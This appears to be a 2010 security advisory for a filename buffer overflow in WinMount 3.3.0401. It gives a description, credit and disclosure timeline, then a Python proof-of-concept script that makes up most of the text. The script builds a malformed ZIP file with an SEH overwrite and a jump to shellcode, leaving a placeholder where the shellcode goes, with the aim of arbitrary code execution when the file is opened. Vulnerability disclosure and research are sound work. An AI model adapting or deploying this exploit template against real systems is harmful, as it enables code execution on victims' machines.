WinMount MOU File Handling Overflow Vulnerability

Vulnerability: WinMount 3.3.0401
Vendor:  www.winmount.com

1) Software Description:
WinMount is an useful windows utility. It is a compression tool, also a virtual drive tool. It can compress files, decompress/ browse/convert compressed archieves, it 
also can mount MOU ZIP RAR and CD DVD HDD images to a virtual disk or virtual folder. Supported formats: MOU ZIP RAR CAB ARJ ISO GZ BZ2 TAR WIM VHD VDI VMDK ISO ISZ BIN MDS/MDF NRG IMG CCD CUE APE FLAC WV.

2) Details:
A filename buffer overflow vulnerability in WinMount 3.3.0401. Poc can generate a zip file, and attackers can change the zip file into a mou file by using WinMount. Exploit successfully allows attackers to execute arbitrary code.

3) Credit:
The vulnerability was discovered by Lufeng Li

4) Timeline:
2010.04.12   Report to vendor
2010.04.14   Vendor upgrade WinMount
2010.04.16   Public

5) Poc:
import os

sploitfile="test.zip"
ldf_header =('\x50\x4B\x03\x04\x14\x00\x00'
'\x00\x08\x00\xB7\xAC\xCE\x34\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\xd0\xff'
'\x00\x00\x00')
cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14"
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xd0\xff"
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")
eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00"
"\x00\x01\x00\x01\x00"
"\xfe\xff\x00\x00"
"\xee\xff\x00\x00"
"\x00\x00")
print "[+] Preparing payload\n"
size=65484
junk='A'*420
nseh='\x89\x8a\x8b\x8c'
seh='\x84\x5b\xac\x8d'
junk_='A'*33
jumpto='\x05\x12\x11\x46\x2d\x11\x11\x46\x50\x46\xac\xe4'#make eax point to shellcode and jump to shellcode
shellcode=("the shellcode here will be changed into unicode")#encode by alpha2
junk__='B'*80
last='C'*(size-420-len(nseh+seh+junk_+jumpto+junk__+shellcode))
payload=junk+nseh+seh+junk_+jumpto+junk__+shellcode+last+".wav"
evilzip = ldf_header+payload+cdf_header+payload+eofcdf_header
print "[+] Removing old zip file\n"
os.system("del "+sploitfile)
print "[+] Writing payload to file\n"
fobj=open(sploitfile,"w",0)
fobj.write(evilzip)
print "generate zip file "+(sploitfile)
fobj.close()
print '[+] Wrote %d bytes to file sploitfile\n'%(len(evilzip))
print "[+] Payload length :%d \n"%(len(payload))


         
--------------
lilf
2010-04-17

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